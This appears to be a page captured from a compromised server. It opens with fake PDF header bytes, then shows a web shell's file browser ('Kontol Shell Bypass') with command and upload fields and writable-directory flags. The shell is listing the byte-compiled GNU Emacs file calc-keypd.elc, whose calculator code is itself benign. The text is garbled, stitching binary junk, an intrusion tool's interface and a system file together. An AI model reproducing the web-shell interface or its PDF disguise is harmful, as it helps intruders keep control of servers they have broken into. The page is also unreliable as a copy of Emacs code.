%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/calc/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/calc/calc-keypd.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\207" [require calc-ext calc-macs] 2)
(defvar calc-keypad-buffer nil)
(defvar calc-keypad-menu 0)
(defvar calc-keypad-full-layout nil)
(defvar calc-keypad-input nil)
(defvar calc-keypad-prev-input nil)
(defvar calc-keypad-said-hello nil)
(defvar calc-keypad-layout '((("ENTER" calc-enter calc-roll-down calc-roll-up calc-over) ("ENTER" calc-enter calc-roll-down calc-roll-up calc-over) ("+/-" calc-change-sign calc-inv (progn -4 calc-pack)) ("EEX" ("e") (progn calc-num-prefix calc-pack-interval) (progn -5 calc-pack)) ("UNDO" calc-undo calc-redo calc-last-args) ("<-" calc-pop (progn 0 calc-pop) (progn calc-num-prefix calc-pop))) (("INV" calc-inverse) ("7" ("7") calc-round) ("8" ("8") (progn 2 calc-clean-num)) ("9" ("9") calc-float) ("/" calc-divide (progn calc-inverse calc-power))) (("HYP" calc-hyperbolic) ("4" ("4") calc-ln calc-log10) ("5" ("5") calc-exp calc-exp10) ("6" ("6") calc-abs) ("*" calc-times calc-power)) (("EXEC" calc-keypad-execute) ("1" ("1") calc-arcsin calc-sin) ("2" ("2") calc-arccos calc-cos) ("3" ("3") calc-arctan calc-tan) ("-" calc-minus calc-conj)) (("OFF" calc-keypad-off) ("0" ("0") calc-imaginary) ("." (".") calc-precision) ("PI" calc-pi) ("+" calc-plus calc-sqrt))))
(defvar calc-keypad-menus '(calc-keypad-math-menu calc-keypad-funcs-menu calc-keypad-binary-menu calc-keypad-vector-menu calc-keypad-modes-menu calc-keypad-user-menu))
(defvar calc-keypad-math-menu '((("FLR" calc-floor) ("CEIL" calc-ceiling) ("RND" calc-round) ("TRNC" calc-trunc) ("CLN2" (progn 2 calc-clean-num)) ("FLT" calc-float)) (("LN" calc-ln) ("EXP" calc-exp) ("" nil) ("ABS" calc-abs) ("IDIV" calc-idiv) ("MOD" calc-mod)) (("SIN" calc-sin) ("COS" calc-cos) ("TAN" calc-tan) ("SQRT" calc-sqrt) ("y^x" calc-power) ("1/x" calc-inv))))
(defvar calc-keypad-funcs-menu '((("IGAM" calc-inc-gamma) ("BETA" calc-beta) ("IBET" calc-inc-beta) ("ERF" calc-erf) ("BESJ" calc-bessel-J) ("BESY" calc-bessel-Y)) (("IMAG" calc-imaginary) ("CONJ" calc-conj) ("RE" calc-re calc-im) ("ATN2" calc-arctan2) ("RAND" calc-random) ("RAGN" calc-random-again)) (("GCD" calc-gcd calc-lcm) ("FACT" calc-factorial calc-gamma) ("DFCT" calc-double-factorial) ("BNOM" calc-choose) ("PERM" calc-perm) ("NXTP" calc-next-prime calc-prev-prime))))
(defvar calc-keypad-binary-menu '((("AND" calc-and calc-diff) ("OR" calc-or) ("XOR" calc-xor) ("NOT" calc-not calc-clip) ("LSH" calc-lshift-binary calc-rotate-binary) ("RSH" calc-rshift-binary)) (("DEC" calc-decimal-radix) ("HEX" calc-hex-radix) ("OCT" calc-octal-radix) ("BIN" calc-binary-radix) ("WSIZ" calc-word-size) ("ARSH" calc-rshift-arith)) (("A" ("A")) ("B" ("B")) ("C" ("C")) ("D" ("D")) ("E" ("E")) ("F" ("F")))))
(defvar calc-keypad-vector-menu '((("SUM" calc-vector-sum calc-vector-alt-sum calc-vector-mean) ("PROD" calc-vector-product nil calc-vector-sdev) ("MAX" calc-vector-max calc-vector-min calc-vector-median) ("MAP*" (lambda nil (interactive) (calc-map '(2 calcFunc-mul "*")))) ("MAP^" (lambda nil (interactive) (calc-map '(2 calcFunc-pow "^")))) ("MAP$" calc-map-stack)) (("MINV" calc-inv) ("MDET" calc-mdet) ("MTRN" calc-transpose calc-conj-transpose) ("IDNT" (progn calc-num-prefix calc-ident)) ("CRSS" calc-cross) ("\"x\"" "xcalc-algebraic-entry
x
" "xcalc-algebraic-entry
y
" "xcalc-algebraic-entry
z
" "xcalc-algebraic-entry
t
")) (("PACK" calc-pack) ("UNPK" calc-unpack) ("INDX" (progn calc-num-prefix calc-index) "xcalc-index
") ("BLD" (progn calc-num-prefix calc-build-vector)) ("LEN" calc-vlength) ("..." calc-full-vectors))))
(defvar calc-keypad-modes-menu '((("FLT" calc-normal-notation (progn calc-num-prefix calc-normal-notation)) ("FIX" (progn 2 calc-fix-notation) (progn calc-num-prefix calc-fix-notation)) ("SCI" calc-sci-notation (progn calc-num-prefix calc-sci-notation)) ("ENG" calc-eng-notation (progn calc-num-prefix calc-eng-notation)) ("GRP" calc-group-digits "-3xcalc-group-digits
") ("" nil)) (("RAD" calc-radians-mode) ("DEG" calc-degrees-mode) ("FRAC" calc-frac-mode) ("POLR" calc-polar-mode) ("SYMB" calc-symbolic-mode) ("PREC" calc-precision)) (("SWAP" calc-roll-down) ("RLL3" (progn 3 calc-roll-up) (progn 3 calc-roll-down)) ("RLL4" (progn 4 calc-roll-up) (progn 4 calc-roll-down)) ("OVER" calc-over) ("STO" calc-keypad-store) ("RCL" calc-keypad-recall))))
#@167 Hook run after entering Calculator mode.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar calc-keypad-mode-hook nil (#$ . 4688))
(byte-code "\300\301!\204\f\302\301\303\304#\210\300\207" [boundp calc-keypad-mode-map put definition-name calc-keypad-mode] 4)
(defvar calc-keypad-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [calc-keypad-mode-map variable-documentation put purecopy "Keymap for `calc-keypad-mode'." boundp calc-keypad-mode-syntax-table definition-name calc-keypad-mode] 5)
(defvar calc-keypad-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [calc-keypad-mode-syntax-table variable-documentation put purecopy "Syntax table for `calc-keypad-mode'." calc-keypad-mode-abbrev-table definition-name calc-keypad-mode] 5)
(defvar calc-keypad-mode-abbrev-table (progn (define-abbrev-table 'calc-keypad-mode-abbrev-table nil) calc-keypad-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [calc-keypad-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `calc-keypad-mode'." calc-keypad-mode derived-mode-parent nil] 5)
#@151 Major mode for Calc keypad input.

This mode runs the hook `calc-keypad-mode-hook', as the final step
during initialization.

\{calc-keypad-mode-map}
(defalias 'calc-keypad-mode #[nil "\306\300!\210\307\310 \210\311\312\313!\210\314\f!\210
.\315\316\317#\210\315\320\317#\210\315\321\322#\210\315\323\324#\210\315\325\326#\210\315\327\326#\210\315\330\326#\210\315\331\326#\210\315\332\326#\210\315\333\326#\210\315\334\326#\210\315\335\326#\210\315\336\326#\210\315\337\326#\210\315\340\326#\210\315\341\326#\210\315\342\343#\210\315\344\345#\210\315\346\347#\210\350\311\351\352#\210\306\353!\210)\354\355!\207" [delay-mode-hooks major-mode mode-name calc-keypad-mode-map calc-keypad-mode-syntax-table calc-keypad-mode-abbrev-table make-local-variable t kill-all-local-variables calc-keypad-mode "Calculator" use-local-map set-syntax-table define-key " " calc-keypad-press "
" "	" calc-keypad-menu "q" calc-keypad-off [down-mouse-1] ignore [drag-mouse-1] [double-mouse-1] [triple-mouse-1] [down-mouse-2] [drag-mouse-2] [double-mouse-2] [triple-mouse-2] [down-mouse-3] [drag-mouse-3] [double-mouse-3] [triple-mouse-3] [mouse-3] calc-keypad-right-click [mouse-2] calc-keypad-middle-click [mouse-1] calc-keypad-left-click put mode-class special calc-main-buffer run-mode-hooks calc-keypad-mode-hook local-abbrev-table] 4 (#$ . 6021) nil])
(defalias 'calc-do-keypad #[(&optional full-display interactive) "\306 \210p\307	!\204\310\311!\211q\210\312 \210\313 \210\314 \210\315\316\317\2110\320\321!\211\2032\322\f!\210\320\323!\211\203K\324 \203G\325\326 !\210\202K\322\f!\210\320	!\211\203s\327\321!\210\327\323!\210\327	!\210\324 \203l\325\326 !\210\202\322\f!\210\202\3301\331 \332!
\333\\W\204\223\334!0\335\\W\204\2232\203\227\336!\210\332!
\337\\W\203\245\340\341!\2102\203\326\342\343\332!
\344#\"\345\314 \"\210\345\f	\"\210\346\f\344\"\210\342\f0\347\\\330#\345\f\"\210\202\375\342\343\334!0\350#\330#\345\f	\"\210\346\f\344\"\210\342\f\343\332\f!
\344#\"\210\345\f\"\210\351!\210\352\353!\210\354\355!\2103\2034\203\356\350!\210\352\357!\210\3303,\317\2115)\207" [calcbuf calc-keypad-buffer calc-main-buffer old-win win height calc-create-buffer bufferp get-buffer-create "*Calc Keypad*" calc-keypad-mode calc-keypad-redraw calc-trail-buffer 29 17 nil get-buffer-window "*Calculator*" delete-window "*Calc Trail*" one-window-p switch-to-buffer other-buffer bury-buffer t get-largest-window window-height 6 window-width 15 delete-other-windows 4 error "Screen is not tall enough for this mode" split-window - 1 set-window-buffer set-window-start 7 2 select-window message "Welcome to GNU Emacs Calc!  Use the left and right mouse buttons" run-hooks calc-keypad-start-hook sit-for "" width calc-was-keypad-mode full-display calc-keypad-said-hello interactive calc-keypad-input] 6])
(defalias 'calc-keypad-off #[nil "\203\301\302!\207\303 \207" [calc-standalone-flag save-buffers-kill-emacs nil calc-keypad] 2 nil nil])
(defalias 'calc-keypad-redraw #[nil "q\210\306\307\n8J\f\"\310
\311!\"\312 \210\313c\210\"\203\363\"@##\203\277#@$!\314Y\203:\315\202T!\316U\203S#\"@=\203S#A#\317\202T\314%&\203h$A@\320=\203h\321\202$@G%V\203|$@\311%O\202$@\211'G(\322%(Z\323\245\324\"'\322\325%(\326#\323\245\324\"'\327\232\203\253\330\nT!\202\254\331\261\210,#A\211#\204%\313c\210\202%!\314Y\203\312\332\202\326!\316U\203\325\333\202\326\334!\335U\203\341\336\202\342\337\261\210!T!\"A\")\202+\306)\340 \210eb\207" [calc-keypad-buffer buffer-read-only calc-keypad-menu calc-keypad-menus calc-keypad-layout calc-keypad-full-layout t append nil 0 erase-buffer "\n" 4 5 3 9 calc-keypad-off "EXIT" make-string 2 32 - -1 "MENU" int-to-string "|" "-----+-----+-----+-----+-----" "-----+---+-+--+--+-+---++----" "----+----+----+----+----+----" 7 "+\n" "|\n" calc-keypad-show-input y row col key cwid calc-standalone-flag name wid calc-keypad-prev-input] 8])
(defalias 'calc-keypad-show-input #[nil "	\232\204*\304\212eb\210\305y\210e`|\210\203 \306\307\261\210\202)\310\311T!\307\261\210*\211\207" [calc-keypad-input calc-keypad-prev-input buffer-read-only calc-keypad-menu nil 1 "Calc: " "\n" "----+----+--Calc---+----+----" int-to-string] 3])
(defalias 'calc-keypad-press #[nil "\306=\204\n\307\310!\210\311e\312 \"\211\313\245i\n\314Y\203\315\202 \316\245\317\211\317@rAq\210BCD@E)F\320GH\211I\205`\321\322I\"\204^\f\323X\205`\321\324I\"\205`\325\225J\nK88L@\203|F\203x\314\202\206\313\202\206F\203\205\326\202\206\327L8\206\227\317\211G\206\227LA@\211M:\205\242M@;N\320OG\203\260\330\331!\210\332\216M\203\277	\313\246\325U\203\304\333 \202\344\334 \325V\203N\203\336M@\325HPB\211P\202\344M\335=\203\357\336PB\211P\202\344M\337=\203\340PB\211P\202\344M\341=\203\342PB\211P\202\344\333 \202\344I\203\345\321\343I\"\203\345N\203\267\321\344M@\"\203\267\317H\345\346M@P!QI\347\232\203K\350Q!\202\263I\351\232\203Y\352Q!\202\263I\353\232\203g\354Q!\202\263I\355\232\203u\356Q!\202\263I\357\232\203\203\360Q!\202\263I\361\232\203\222\362\363Q\"\202\263I\364\232\203\241\365\363Q\"\202\263I\366\232\203\257\367Q!\202\263\370Q!)\202\344M\371>\203\305\317\211H\202\344I\366\232\203\340M\372\236\211\203\340I
AP\211H\202\344\333 \202\344N\203\342M@\211M\373\232\203I\203\321\374I\"\204LM\324\232\203$I\203$\f\323X\203\321\324I\"\204L\321\375I\"\204LM\373\232\204Q\317R\321M\376\321\377I\206<\201X\"\203F\201Y\202G\f#)\203Q\333 \202\344\f\201YU?\205pI\203hI\201Z\232\205p\201[\201\\\f\"I\203~I\201Z\232\205\237M\324\232\203\213\201]\202\237M\373\232\205\237
\203\234\201]\202\237\201^IM\373\232\203\262
\203\262\201_\202\333M\324\232\203\331I\203\310\321\201`I\"\203\331\f\323V\203\331\201[\201a\f\"\202\333MR\211H\202\344M\201b=\203&I\203&J\206\366\325SIS\317OTI\325SO\321\201cT\"\203T\363\317O\202\201ZTPP\211H*\202\344M\335=\203WI\203WI\201X\232\203@\333 \202\344I\325\321\201dI\"\206P\201eO\211H\202\344M\341=\203jI\203j\317\211H\202\344I\203\242\201fI!U\317HU\203\210\330\201g!\210\202\227I\201X\232\204\224\333 \210\317MM\337=\203\241\317M)VWM\205\344M:\203\336M@\201h=\203\336MA\211M\205\344M@\250\203\323M@W\202\273\201iM@!\210\202\273\201iM!.\207" [major-mode row y x radix frac calc-keypad-mode error "Must be in *Calc Keypad* buffer for this command" count-lines point-at-bol 2 4 6 5 nil t string-match "\\*[0-9]+\\.\\^" 14 "e" 0 3 99 calc-do #[nil "\300\207" [nil] 1] #[nil "q\210\301 \207" [calc-keypad-buffer calc-keypad-show-input] 1] beep minibuffer-depth calc-pop 127 calc-enter 13 calc-undo 7 "STO\\|RCL" "[0-9]" intern "var-q" "STO+" calc-store-plus "STO-" calc-store-minus "STO*" calc-store-times "STO/" calc-store-div "STO^" calc-store-power "STOn" calc-store-neg 1 "STO&" calc-store-inv "STO" calc-store-into calc-recall (calc-pop calc-undo) ((calc-plus . "+") (calc-minus . "-") (calc-times . "*") (calc-divide . "/") (calc-power . "^") (calc-change-sign . "n") (calc-inv . "&")) "." "[.:e^]" "\\^\\|[-.:]\\'" "0123456789ABCDEF" "[e^]" inv calc-main-buffer calc-number-radix calc-prefer-frac calc-inverse-flag calc-hyperbolic-flag hyp invhyp calc-keypad-input input iexpon calc-keypad-full-layout key cmd isstring calc-is-keypad-press unread-command-events var case-fold-search epos suffix val current-prefix-arg prefix-arg "" 10 "-" format "%d#" "1" "0" ":" "#" "*%d.^" calc-change-sign "\\`-" "\\*[0-9]+\\.\\^\\'" -1 math-read-number #[nil "\301\302\303!!C!\207" [val calc-push-list calc-record calc-normalize] 4] progn command-execute] 7 nil nil])
#@57 Handle a left-button mouse click in Calc Keypad window.
(defalias 'calc-keypad-left-click #[(event) "rq\210\302\303	!!b\210\304 )\207" [calc-keypad-buffer event posn-point event-start calc-keypad-press] 3 (#$ . 13857) "e"])
#@58 Handle a right-button mouse click in Calc Keypad window.
(defalias 'calc-keypad-right-click #[(_event) "rq\210\301 )\207" [calc-keypad-buffer calc-keypad-menu] 1 (#$ . 14088) "e"])
#@59 Handle a middle-button mouse click in Calc Keypad window.
(defalias 'calc-keypad-middle-click #[(_event) "rq\210\301 )\207" [calc-keypad-buffer calc-keypad-menu-back] 1 (#$ . 14276) "e"])
(defalias 'calc-keypad-menu #[nil "\303=\204\n\304\305!\210	T\nG\246\211\n8J\203\n\306 \207" [major-mode calc-keypad-menu calc-keypad-menus calc-keypad-mode error "Must be in *Calc Keypad* buffer for this command" calc-keypad-redraw] 3 nil nil])
(defalias 'calc-keypad-menu-back #[nil "\303=\204\n\304\305!\210	\nG\\S\nG\246\211\n8J\203\n\306 \207" [major-mode calc-keypad-menu calc-keypad-menus calc-keypad-mode error "Must be in *Calc Keypad* buffer for this command" calc-keypad-redraw] 3 nil nil])
(defalias 'calc-keypad-store #[nil "\301\211\207" [calc-keypad-input "STO"] 2 nil nil])
(defalias 'calc-keypad-recall #[nil "\301\211\207" [calc-keypad-input "RCL"] 2 nil nil])
(defalias 'calc-pack-interval #[(mode) "\301W\204\f\302V\203\303\304!\210\305\306Z!\207" [mode 0 3 error "Open/close code should be in the range from 0 to 3" calc-pack -6] 3 nil "p"])
(defalias 'calc-keypad-execute #[nil "\305\306\211\306\212\307 \210\310!\311\n!\211\312>\204%	\203<\313\314\n\"\203<\n\211GSH\315!\210\316\317\n!\320Q\211\204\f)\321\322!\210\323!\203M\315!\202S\324\325\317\n!\",\207" [prompt prefix keys cmd last-command-event "Calc keystrokes: " nil calc-select-buffer read-key-sequence key-binding (calc-inverse calc-hyperbolic universal-argument digit-argument negative-argument) string-match "\\`?[-0-9]\\'" command-execute t key-description " " message "" commandp error "Not a Calc command: %s"] 5 nil nil])
(provide 'calc-keypd)

Kontol Shell Bypass